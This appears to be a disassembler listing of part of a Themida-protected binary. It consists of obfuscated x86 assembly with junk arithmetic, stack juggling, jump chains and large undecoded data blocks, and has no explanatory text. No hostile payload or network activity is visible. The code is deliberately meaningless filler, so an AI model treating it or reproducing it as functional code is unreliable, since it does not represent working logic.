		dd 3A72E924h, 56680001h, 0E91F6C6Dh, 70C5h, 0B7241C89h
		dd 0C2B2DCh, 241C8BFAh,	4C481h,	0E9510000h, 2AECh, 8704EF83h
		dd 248B243Ch, 0BB81E924h, 8F5B0000h, 815C2404h,	4C1h, 0D0685600h
		dd 8900007Ah, 0A3E9243Ch, 8B00001Ch, 0C483242Ch, 5E80104h
		dd 31242B6Ah, 1A5B685Dh, 2C890000h, 563BBD24h, 0E95040E3h
		dd 3835h, 0D8285966h, 702C8504h, 14B65E9h
		db 0
; ---------------------------------------------------------------------------


loc_635E69:				; CODE XREF: Themida_:00647D3Fj
		add	esp, 4
		push	ecx
		push	edi
		jmp	loc_649A4E
; ---------------------------------------------------------------------------
aFrscg		db '[fRg',0
		db 0
; ---------------------------------------------------------------------------


loc_635E7B:				; CODE XREF: Themida_:0064A27Bj
		push	5E1Bh
		mov	[esp], esi
		jmp	loc_637B69
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0F296h
; ---------------------------------------------------------------------------


loc_635E90:				; CODE XREF: Themida_:00643D62j
		push	edi
		mov	edi, 51374921h
		xor	edi, 1C186A2Ah
		or	edi, 75BA797Fh
		push	esi
		jmp	loc_646D5D
; ---------------------------------------------------------------------------
		dd 4C4835Fh, 4C481h, 0BF570000h, 30952837h, 3B54E9h, 5DEE0900h
		dd 101C6E9h, 24540100h,	7DE95A04h, 500000AEh, 390BE9h
		dd 48685000h, 5860B551h, 0E958C531h, 1344Eh
; ---------------------------------------------------------------------------


loc_635EE4:				; CODE XREF: Themida_:00642BE7j
		mov	ebx, ecx
		mov	edx, ebx
		pop	ebx
		pop	ecx
		or	edx, 3CB97C88h
		jmp	loc_646A85
; ---------------------------------------------------------------------------


loc_635EF5:				; CODE XREF: Themida_:00646534j
		mov	eax, 412C249Ah
		add	ebp, 19091272h
		jmp	loc_647CAE
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 81h
		dd 7C5DCCEBh, 0F4BB5361h, 29496904h, 241C8BDFh,	0E904C483h
		dd 1BE3h, 66746850h, 48B1D1Fh, 4C48324h, 6CF8EB81h, 0C3011263h
		dd 6CF8C381h, 57581263h, 317A82BFh, 6B8BE926h, 0F7810000h
		dd 6DC839B1h, 7651BB53h, 0E3C15A55h, 0F3814B04h, 323A2E03h
		dd 2D86F381h, 0BF573A74h, 0AC57DBC8h, 15FFB01h,	0E7C15BDFh
		dd 3E6BE905h
		db 1, 0
; ---------------------------------------------------------------------------


loc_635F76:				; CODE XREF: Themida_:00643395j
		add	ebx, ebp
		sub	ebx, 515821A5h
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_637CE9
; ---------------------------------------------------------------------------
		dw 34FFh
aZs2		db '$Z2',0
		dw 5A00h
		dd 8124048Bh, 4C4h, 74FF5100h, 0E9590424h, 190h, 0E980D1F6h
		dd 0D4E9801Eh, 5059CC88h, 12454F6h, 80EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_635FC9:				; CODE XREF: Themida_:00636F20j
		mov	eax, [esp]
		jmp	loc_6365C1
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 1BBE2434h, 680EE927h, 416Ch, 900EE9h, 76EA8100h
		dd 297F2146h, 25B1E9D3h, 0EF810001h, 4,	5C243C87h, 51241C89h
		dd 8F7B3AB9h, 0E9575237h, 1B01h, 3ABE5658h, 0E97B3328h
		dd 22B2h
; ---------------------------------------------------------------------------


loc_63601C:				; CODE XREF: Themida_:00649F32j
		mov	[esp], ecx
		jmp	loc_648BAC
; ---------------------------------------------------------------------------
		dd 2E9CE89h, 870000FEh,	875C2434h, 95E92414h, 0FF0000EBh
		dd 6AE92434h, 5900013Eh, 2CACE981h, 0D9F70329h,	0B7EDE981h
		dd 5FE9DE42h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_636053:				; CODE XREF: Themida_:0063B6DCj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 105F775Ch
		shl	ebp, 2
		or	ebp, 0E30659Ah
		xor	ebp, 1340A670h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		jmp	loc_644EE6
; ---------------------------------------------------------------------------
		dd 1607C581h, 0E9298F9Dh, 81F1295Dh, 7D0CE3C1h,	24348B49h
		dd 0BECAE9h, 2BB85000h,	29208033h, 24048BC6h, 0E904C483h
		dd 6222h, 243CD366h, 7C0E99Ch, 34FF0000h, 0C4815A24h, 4
		dd 0C07FB753h, 0D7F603EFh, 0F602E780h, 85EF80D7h, 285BF800h
		dd 2C7A2CD8h, 0B1C1E9E2h, 55B80000h, 89110568h,	0C18158C1h
		dd 6C964C6Eh, 0E16E181h, 0F1811002h, 44562D0h, 14942E9h
		db 0
; ---------------------------------------------------------------------------


loc_6360FD:				; CODE XREF: Themida_:006392A2j
		xor	edx, 15844C75h
		jmp	loc_63E4A8
; ---------------------------------------------------------------------------
		dd 0EE81D601h, 75765EF4h, 0B16CE95Ah, 0E5800000h, 0DAF580BAh
		dd 0E959E828h, 131B7h, 4C681h, 34870000h, 0C875C24h, 24248B24h
		dd 240CD366h, 0D2DAE99Ch, 0E9520000h, 56A3h, 8B24048Fh
		dd 3E92424h, 5F00011Bh,	0BE56D801h, 4A910C25h, 399BCE81h
		dd 0BB533AE5h, 18A37BC5h, 8702E3C1h, 87D2F7D3h,	51C381D3h
		dd 817C9759h, 0F7FE30C3h, 5BDE0133h, 19F68146h,	5766224Bh
		dd 0A607EDBFh, 0D143E94Bh, 81580000h, 6A7BD5EBh, 81D3013Ah
		dd 6A7BD5C3h, 24148B3Ah, 8304C483h, 0E95304C3h,	0AC12h
; ---------------------------------------------------------------------------


loc_6361AC:				; CODE XREF: Themida_:0063AB0Dj
		mov	[esp], ebx
		mov	ebx, ebp
		mov	ecx, ebx
		pop	ebx
		jmp	loc_638CF3
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 59000000h, 0FFF3E0E9h, 78E950FFh
		db 3Eh,	1, 0
; ---------------------------------------------------------------------------


loc_6361CB:				; CODE XREF: Themida_:0064444Bj
		pop	ecx
		push	edx
		jmp	loc_6438E7
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 83243C8Bh, 1C8B04C4h, 4C48124h, 0E9000000h, 0CD12h
		dd 4C481h, 0B2E90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6361F3:				; CODE XREF: Themida_:00637612j
		or	ecx, 4079331Bh
		dec	ecx
		add	ecx, 0DB0BF120h
		add	esi, ecx
		pop	ecx
		sub	esi, 32DDD7B0h
		mov	ecx, esi
		pop	esi
		add	eax, ecx
		jmp	loc_637C3A
; ---------------------------------------------------------------------------
		db 28h
		dd 0FC42E9C8h, 49B7FFFFh, 11716E9h, 0B3D0BD00h,	0CFE9DEE0h
		dd 5B00009Ah, 0E9243487h, 304Bh, 405h, 24048700h, 8F24248Bh
		dd 665C2404h, 0E9240489h, 0FFFFF359h, 0B92222BDh, 5DEE2933h
		dd 592434FFh, 11D0BE9h,	0C7FE5900h, 0BFB252h, 0E58E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63626A:				; CODE XREF: Themida_:00640E01j
		neg	eax
		xchg	eax, esi
		jmp	loc_635646
; ---------------------------------------------------------------------------
aAaAsI		db '͈',0
		align 4
		dd 0C15BDF89h, 0C78107EFh, 6716D9F8h, 6E57EE81h, 0FE297216h
		dd 6E57C681h, 0E95F7216h, 0F3FEh, 75B4505Ah, 8077C480h
		dd 0DCF6CCECh, 0EC80D4F6h, 58E72067h, 2093EF80h, 0ED805BFDh
		dd 59E80039h, 241C8B66h, 5102C483h, 8B89E9h, 1CE95A00h
		db 20h,	1, 0
; ---------------------------------------------------------------------------


loc_6362CF:				; CODE XREF: Themida_:0064081Bj
		add	ebx, 27E50BB7h
		add	ebx, edx
		sub	ebx, 27E50BB7h
		pop	edx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_63D930
; ---------------------------------------------------------------------------
		db 81h
		dd 4973A8EBh, 81D3F740h, 0BA5C87E3h, 0FDC38167h, 899C55FBh
		dd 44815BDAh, 6D270424h, 540177F5h, 82E90424h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_636313:				; CODE XREF: Themida_:0064236Cj
		push	esi
		jmp	loc_63AF34
; ---------------------------------------------------------------------------
		db 0B6h, 0BBh, 20h
		dd 665A66F7h, 0E1D4E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_636326:				; CODE XREF: Themida_:0063FB61j
		mov	esp, [esp]
		jmp	loc_639091
; ---------------------------------------------------------------------------


loc_63632E:				; CODE XREF: Themida_:0063D933j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 202A0Ah
		add	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 61534AA2h
		sub	edx, 2969044Ah
		jmp	loc_64496C
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 69C3161Fh, 0E958C589h, 11711h, 806EC380h, 0C328F1EBh
		dd 0E9F1C380h, 724Fh, 0F758C331h, 0F6B951D3h, 0E94C180Eh
		dd 6D98h
; ---------------------------------------------------------------------------


loc_636380:				; CODE XREF: Themida_:006390E3j
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		jmp	loc_63FED3
; ---------------------------------------------------------------------------


loc_63638E:				; CODE XREF: Themida_:0063E0E5j
		mov	eax, esp
		jmp	loc_641AB2
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0D8h
		dd 8139CB71h, 7D1151CAh, 8CEE932h, 0ED810000h, 12C47293h
		dd 0C77E9h, 9AC18100h, 0E9D4069Eh, 5F63h, 4C181h, 0C870000h
		dd 24248B24h, 8017B450h, 0ECC008CCh, 8A71E908h,	0C3810000h
		dd 1794691Ch, 529BE381h, 0F743756Dh, 3DF381D3h,	0E9EB4B24h
		dd 110C9h, 0BB241C89h, 28E33D75h, 6BE9DA89h, 33000142h
		dd 14312414h, 24143324h, 6624248Bh, 66C8B60Fh, 66154868h
		dd 0E9240C89h, 0C1CBh
; ---------------------------------------------------------------------------


loc_63641C:				; CODE XREF: Themida_:0063AC6Ej
		pop	edx
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_64757C
		push	dword ptr [edi+28h]
		xor	dword ptr [esp], 7E1868D7h
		mov	eax, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_646A7F
; ---------------------------------------------------------------------------
		dd 1147D235h, 0AA0DE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63644E:				; CODE XREF: Themida_:0063A990j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, edx
		sub	edi, 739C649Ah
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_64A15C
; ---------------------------------------------------------------------------
		dd 0DEF7F331h, 7968F387h, 0E9000079h, 0B956h, 0EC83E089h
		dd 443E904h, 0BDBF0000h, 504CD77Bh, 3E31E9h, 5EFC100h
		dd 2EBFBB53h, 0E3C1218Dh, 44BF5704h, 1333132h, 0DF095FFBh
		dd 0B9EF815Bh, 14F06BEh, 55685FFDh, 8900004Ah, 268240Ch
		dd 59000000h, 1D77C581h, 0ED8113CEh, 1EB14926h,	0C581CD01h
		dd 1EB14926h, 1D77ED81h, 49E913CEh, 10000F3h, 24148BD0h
		dd 4C481h, 348B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_638C81
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0
		dd 29000000h, 59CA87D1h, 0A5F9EA81h, 4FE9580Bh
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63651B:				; CODE XREF: Themida_:0063B4B2j
		push	ecx
		push	718039FCh
		pop	ecx
		or	ecx, 79A6A9Ch
		jmp	loc_64ABBE
; ---------------------------------------------------------------------------


loc_63652D:				; CODE XREF: Themida_:0063BFD8j
		inc	ebp
		jmp	loc_64AC45
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 3E4E924h,	3CB90000h, 0E9096A0Fh, 94Fh
; ---------------------------------------------------------------------------


loc_636548:				; CODE XREF: Themida_:0063B5F4j
		sub	ebx, 11696AD9h
		pop	edi
		jmp	loc_6487A8
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 1350Fh, 5C24048Fh, 83242489h, 0FF042404h
		dd 525F2434h, 735E9h
		db 0
; ---------------------------------------------------------------------------


loc_636571:				; CODE XREF: Themida_:006375CAj
		pop	edi
		not	ebx
		xor	ebx, 0B3C58F25h
		push	edi
		mov	edi, ebx
		mov	edx, edi
		pop	edi
		pop	ebx
		jmp	loc_642FCC
; ---------------------------------------------------------------------------
		dw 3487h
		dd 1C875C24h, 24248B24h, 0E9240C89h, 0FFFFF00Dh, 5004C483h
		dd 7A7DBE56h, 0F0894AC5h, 9684E95Eh, 0C890000h,	83E18924h
		dd 348904ECh, 4BE24h, 0F1010000h, 0D22CE9h
		db 0
; ---------------------------------------------------------------------------


loc_6365C1:				; CODE XREF: Themida_:00635FCCj
		add	esp, 4
		push	317Eh
		mov	[esp], edi
		push	eax
		jmp	loc_635879
; ---------------------------------------------------------------------------
		db 0B9h, 0BAh, 21h
		dd 0C8015603h, 53D80159h, 1E9968h, 24348900h, 0BE243F68h
		dd 83E95E58h, 810000F2h, 4C6h, 4C68100h, 87000000h, 505C2434h
		dd 552037B8h, 260BE90Ch, 34FF0001h, 24348B24h, 9F81E9h
		dd 2DC38100h, 1EBF1D1h,	555B5BD8h, 1B145BBDh, 7EB9517Ah
		dd 0F7595723h, 0D28E9D1h, 77FF0001h, 59669D1Ch,	9C2414D2h
		dd 0FFEF60E9h, 241C33FFh, 2740E9h
		db 0
; ---------------------------------------------------------------------------


loc_63664D:				; CODE XREF: Themida_:00645E8Dj
		mov	ebp, 2A950E98h
		jmp	loc_63815E
; ---------------------------------------------------------------------------
aUsp		db 'U',0
		dd 88B65200h, 148BF188h, 4C48124h, 0C0000000h, 0C1FE03E9h
		dd 1AFDE9h
		db 0
; ---------------------------------------------------------------------------


loc_636675:				; CODE XREF: Themida_:0063D0D3j
		push	46F5h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_647CDE
; ---------------------------------------------------------------------------


loc_636690:				; CODE XREF: Themida_:006460C5j
		sub	ecx, edx
		pop	edx
		not	ecx
		push	esi
		mov	esi, 2445385Fh
		sub	esi, 7EB3937Bh
		xor	ecx, esi
		jmp	loc_643F8C
; ---------------------------------------------------------------------------
		dd 4C481h, 0B5680000h, 89000041h, 0BA682404h, 89000035h
		dd 0EBE9241Ch, 0B500011Fh, 30A5B63Dh, 240C8BEEh, 8CE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_6366D1:				; CODE XREF: Themida_:0063F57Cj
		pop	esp
		sub	ecx, 284B53C4h
		jmp	loc_647E9B
; ---------------------------------------------------------------------------
		db 59h,	81h, 6Ch
		dd 60A20424h, 440144E7h, 0BA520424h, 44E760A2h,	8245401h
		dd 0E924148Bh, 125CEh, 24348B66h, 2C481h, 50660000h, 0B65BB866h
		dd 66C23166h, 372D6658h, 0E9526645h, 110D3h, 5724248Bh
		dd 0E952E789h, 11B16h, 0E959CF29h, 10DF7h, 8704C783h, 505C243Ch
		dd 0F62470B8h, 48BA5272h, 0D11FCB7Ch, 0EA8142E2h, 0DEE52412h
		dd 2E69E9h, 24148900h, 441E954h, 0ED810001h, 63C04221h
		dd 115DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_636765:				; CODE XREF: Themida_:006390A8j
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_640B31
		push	5C09h
		mov	[esp], ebx
		push	edx
		push	28h
		pop	edx
		push	793Fh
		mov	[esp], esi
		mov	esi, edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_64354C
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4C581h, 2C870000h, 0E9535C24h, 1BC6h, 6A5B850h, 0C3014F64h
		dd 8124048Bh, 4C4h, 0FEC38100h,	1193859h, 159F68C3h, 0C890000h
		dd 59FEB924h, 0CB291938h, 4F92E9h
		db 0
; ---------------------------------------------------------------------------


loc_6367D9:				; CODE XREF: Themida_:00645ED7j
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_639529
; ---------------------------------------------------------------------------
		db 31h,	0CDh, 59h
		dd 15DEB29h, 59BD55C3h,	10C097Bh, 0D7E95DEBh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6367FB:				; CODE XREF: Themida_:00639342j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_648AF8
; ---------------------------------------------------------------------------
		db 2Dh,	0B7h, 6Eh
		dd 2C8B7984h, 4C48324h,	0F66C331h, 4B6800B6h, 8900005Bh
		dd 9F682404h, 8900002Bh, 4832424h, 81580424h, 4ECh, 3381E900h
		dd 0F5680000h, 5D6AC833h, 8AE9E989h, 810000E4h,	4ECh, 24048900h
		dd 0C1964CB8h, 8BC10181h, 0C4812404h, 4, 2222C681h, 0CE0133B9h
		dd 0F9D6E955h, 2AE9FFFFh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63687B:				; CODE XREF: Themida_:00645374j
		push	dword ptr [ebx]
		xor	dword ptr [esp], 394D4F81h
		jmp	loc_6386A1
; ---------------------------------------------------------------------------


loc_636889:				; CODE XREF: Themida_:0064A552j
		push	ecx
		mov	ecx, 75B566DCh
		xor	ecx, 6D160C94h
		add	ebx, 149A69C5h
		sub	ebx, ecx
		sub	ebx, 149A69C5h
		pop	ecx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_645AD3
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 5A545224h, 4C281h, 0DFE90000h, 5000006Fh, 42474FFh
		dd 0E454E9h, 24348900h,	4BEh, 6BAE0500h, 99E94D3Ah
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6368DF:				; CODE XREF: Themida_:0063CAACj
		add	dword ptr [esp], 436B3037h
		pop	edx
		sub	edx, 436B3037h
		push	esi
		mov	esi, edx
		mov	ebp, esi
		pop	esi
		pop	edx
		pop	edi
		push	ebp
		sub	dword ptr [esp], 17974E06h
		mov	edx, [esp]
		jmp	loc_63EF69
; ---------------------------------------------------------------------------
		db 58h,	33h, 0Ch
		dd 240C3124h, 0E9240C33h, 12B3Ah
; ---------------------------------------------------------------------------


loc_636914:				; CODE XREF: Themida_:006455D5j
		push	ebx
		push	ebp
		jmp	loc_646BB2
; ---------------------------------------------------------------------------


loc_63691B:				; CODE XREF: Themida_:00640FDDj
		mov	eax, esp
		jmp	loc_63786F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 48F5424h, 13E95724h,	68000027h, 5CE6h, 54243489h, 8B2434FFh
		dd 0C4832434h, 0BEA2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_636946:				; CODE XREF: Themida_:00640B82j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_6446BC
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C3h, 0C7815C24h, 4, 0E517E952h, 0BE560000h, 36951F0Bh
		dd 0B7CBEE81h, 0E952FFEDh, 51Eh, 4E9BEE81h, 0EC836C55h
		dd 24148904h, 8B040FBAh, 0E6E28122h, 0E9674850h, 0FCh
		dd 81E38953h, 4C3h, 4EC8300h, 0E9241489h, 1287Ch, 0EC34B951h
		dd 0CD01F93Bh, 5DEF0159h, 0B281E9h, 0E9C78900h,	1101Ch
		dd 4C781h, 72E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6369D7:				; CODE XREF: Themida_:00638CACj
		sub	eax, 4B4F09EAh
		sub	eax, 758F4AEAh
		pop	edi
		jmp	loc_643CE3
; ---------------------------------------------------------------------------
aXSco		db 'X[O',0
		align 2
		dw 0E7C1h
		dd 0EF814704h, 0CA66B133h, 0E95FFA01h, 388Bh, 8B24048Fh
		dd 0E7E92424h
		db 25h,	1, 0
; ---------------------------------------------------------------------------


loc_636A0B:				; CODE XREF: Themida_:00639D54j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_63D0F6
; ---------------------------------------------------------------------------


loc_636A14:				; CODE XREF: Themida_:0063C7C8j
		push	eax
		mov	eax, 12CC7378h
		push	edx
		mov	edx, 3A0BBD7Fh
		add	eax, edx
		pop	edx
		jmp	loc_647040
; ---------------------------------------------------------------------------


loc_636A28:				; CODE XREF: Themida_:00645E7Ej
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_638EF1
; ---------------------------------------------------------------------------
aBS52s7r	db ')[s5=27',0
		align 2
		dw 481h
		dd 424h, 242C8B00h, 4C481h, 0EC810000h,	4, 5925E9h, 0AAE58100h
		dd 8108EA33h, 0FFFFFFC5h, 0EC8345FFh, 24348904h, 803000BEh
		dd 5EF53108h, 3BA3BE56h, 0F3293135h, 5E2434FFh,	4C481h
		dd 0EB010000h, 3BA3C381h, 875D3135h, 0E95C241Ch, 0D148h
		dd 0EA81DAF7h, 83B3F07Ch, 0CFE9D601h, 81000119h, 4C4h
		dd 0EAEFE900h, 0F381FFFFh, 3DA24C49h, 0DE60962Dh, 68D82977h
		dd 4738h, 0BA241489h, 77DE6096h, 0B972842Dh, 0BF6DE90Ch
		dd 0C4830000h, 4C18104h, 81000000h, 4C1h, 240C8700h, 4C4815Ch
		dd 21000000h, 24348BF0h, 57E28952h, 4BFh, 5FFA0100h, 4EA81h
		dd 14870000h, 4895C24h,	51585424h, 0EB2E13B9h, 0FE98172h
		dd 172EB2Eh, 0E0E959C8h, 83000018h, 0C8704E9h, 6DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_636B32:				; CODE XREF: Themida_:006490F9j
		add	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_63A383
; ---------------------------------------------------------------------------


loc_636B44:				; CODE XREF: Themida_:0063EF8Bj
		push	edx
		mov	edx, 7D4A22E9h
		dec	edx
		inc	edx
		xor	edx, 7D4A22EDh
		add	ebp, edx
		jmp	loc_638307
; ---------------------------------------------------------------------------
		db 1, 5Ch, 24h
		dd 34FF5B04h, 0B5A4E924h, 0CCBD0000h, 1103C0Bh,	2AFEE9EBh
		dd 0C4810001h, 4, 0E2895257h, 1BFFE9h, 24048900h, 0C7568h
		dd 24248900h, 4240481h,	58000000h, 405h, 0E1E95500h, 8B0000DEh
		dd 1C892424h, 2474FF24h, 48F5B04h, 0F665C24h, 5166C8AFh
		dd 0E9EBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_636BBA:				; CODE XREF: Themida_:00646DC0j
		pop	edi
		push	ebx
		push	edx
		push	20A22F78h
		jmp	loc_64255A
; ---------------------------------------------------------------------------
		db 5
		dd 2793BF8h, 2B332D5Dh,	0FAE9529Dh, 8000004Dh, 0C4FE01C4h
		dd 8056C480h, 0C38010C3h, 2EEB807Fh, 0C380E328h, 7FEB802Eh
		dd 0FF10EB80h, 0FFE92434h, 890000D0h, 47E9242Ch
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_636C03:				; CODE XREF: Themida_:00644768j
		mov	edi, 4
		jmp	loc_647298
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 33C1E900h, 148B0001h, 0EDBE924h, 4810000h, 424h
		dd 0B0E900h, 0C1050001h, 50EA62Fh, 3C6C72DDh, 5E8CE9h
		dd 2434FF00h, 4C48358h,	1262FE9h
		db 0
; ---------------------------------------------------------------------------


loc_636C49:				; CODE XREF: Themida_:0064719Fj
		mov	esp, [esp]
		push	edi
		mov	edi, 84B6463h
		jmp	loc_6384F7
; ---------------------------------------------------------------------------
		db 81h
		dd 82357AF1h, 0FFE98115h, 81FFFFFFh, 54051C1h, 8E1C162h
		dd 0E9FFE983h, 0C83Dh, 0C61C281h, 0D131E0C1h, 0ABC1815Ah
		dd 92344A4h, 0C78159CFh, 0BCCF57h, 3C8BF929h, 4C48324h
		dd 65A8F181h, 0D9E97279h, 100001Dh, 0FF21E9E8h,	0E289FFFFh
		dd 0A2E95055h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_636CAF:				; CODE XREF: Themida_:00638E94j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_64A828
; ---------------------------------------------------------------------------


loc_636CBA:				; CODE XREF: Themida_:0063F072j
		mov	edi, 239F3FD5h
		mov	edx, 239F3FD1h
		xor	edx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_637F24
; ---------------------------------------------------------------------------


loc_636CD8:				; CODE XREF: Themida_:006472A7j
		push	7E65h
		mov	[esp], ebp
		push	0D2A8BF0Ah
		pop	ebp
		mov	edx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_647970
; ---------------------------------------------------------------------------
aRhjz		db 'RhZ',0
		align 2
		dw 489h
		dd 5D3B6824h, 48B3E4Ch,	4C48324h, 9DB3540h, 0AC2D1CD1h
		dd 8901E3E4h, 0F2FAE9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_636D16:				; CODE XREF: Themida_:0063CC56j
		mov	ecx, [esp]
		jmp	loc_63DB1A
; ---------------------------------------------------------------------------
		dw 8735h
		dd 31EED1CAh, 8FE958C5h, 89000104h, 0A0BA2414h,	81769F1Bh
		dd 355848EAh, 81DAF769h, 0BE7FE8E2h, 74B9514Bh,	0E9500305h
		dd 0F649h, 685E63BAh, 37DE94Eh,	0E1F70000h, 7BBB68h, 24148900h
		dd 0CC9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_636D65:				; CODE XREF: Themida_:0063C1FDj
		and	eax, esi
		jmp	loc_643E72
; ---------------------------------------------------------------------------
		dd 4C48359h, 6CDAE981h,	0E9812864h, 84D1F15h, 0C181D901h
		dd 84D1F15h, 79B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_636D89:				; CODE XREF: Themida_:0064616Aj
		sub	dword ptr [esp+4], 0B922CFBh
		push	ecx
		mov	ecx, 48945F70h
		sub	[esp+8], ecx
		jmp	loc_643E48
; ---------------------------------------------------------------------------


loc_636DA0:				; CODE XREF: Themida_:00638402j
		add	esi, 0FE9DEF62h
		add	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		jmp	loc_635A38
; ---------------------------------------------------------------------------
		dd 3B3CEF81h, 0FE01D36Ch, 0DB24E95Fh, 0E8D10000h, 0BF58D035h
		dd 2DD0F76Ah, 47BB5611h, 235E9h, 242C8B00h, 5C9FE9h
		db 0
; ---------------------------------------------------------------------------


loc_636DDD:				; CODE XREF: Themida_:00641D80j
		push	ebp
		mov	ebp, esp
		jmp	loc_638A9B
; ---------------------------------------------------------------------------


loc_636DE5:				; CODE XREF: Themida_:0063A5A2j
		add	edi, eax
		pop	eax
		push	ebp
		push	edx
		mov	edx, 6A6679B3h
		add	edx, 1864036h
		dec	edx
		sub	edx, 1CDA2CDh
		sub	edx, 2FEF474Fh
		inc	edx
		add	edx, 7C205F00h
		jmp	loc_63FBAC
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 2C581h, 3A680000h, 89000074h, 74FF242Ch, 34FF0424h
		dd 242C8B24h, 3D2E9h, 0F6E95C00h, 520000EEh, 1297DE9h
		db 0
; ---------------------------------------------------------------------------


loc_636E3D:				; CODE XREF: Themida_:0063587Ej
		sub	eax, 23B1152Eh
		jmp	loc_647761
; ---------------------------------------------------------------------------
		db 28h
		dd 0CBFE58E3h, 2414F653h, 6EFE95Bh, 4BA0001h, 1000000h
		dd 1C875AD3h, 412D5C24h, 813F1166h, 914C0CC2h, 0D3BF573Ch
		dd 81178559h, 92AC8EFh,	0D1DFF732h, 0E9D7F7E7h,	60B3h
; ---------------------------------------------------------------------------


loc_636E84:				; CODE XREF: Themida_:006482FDj
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_6474F5
; ---------------------------------------------------------------------------
		db 53h
		dd 0FE1AA9BBh, 3A2AE956h, 6BBA0000h, 4A6E5C04h,	0FA71EA81h
		dd 0D609EF07h, 0ACBB535Ah, 290A221Ah, 0F6815BDEh, 7FCC3FFFh
		dd 39E9F321h, 2D0000CDh, 561365DEh, 0AEE9F801h,	8900005Dh
		dd 4368241Ch, 8B00E83Ch, 0C481241Ch, 4,	3FB9E9h
		db 0
; ---------------------------------------------------------------------------


loc_636EE9:				; CODE XREF: Themida_:006378CBj
		pop	edx
		push	ecx
		mov	ecx, 3CFB3F9Ch
		add	ecx, 4B5765B4h
		jmp	loc_63B685
; ---------------------------------------------------------------------------


loc_636EFB:				; CODE XREF: Themida_:0063CD4Cj
		pop	edi
		push	572h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0ABBDAC75h
		push	esi
		jmp	loc_63D671
; ---------------------------------------------------------------------------


loc_636F15:				; CODE XREF: Themida_:0064495Dj
		sub	ebp, eax
		xchg	eax, ebp
		pop	ebp
		xor	eax, 42590585h
		and	edx, eax
		jmp	loc_635FC9
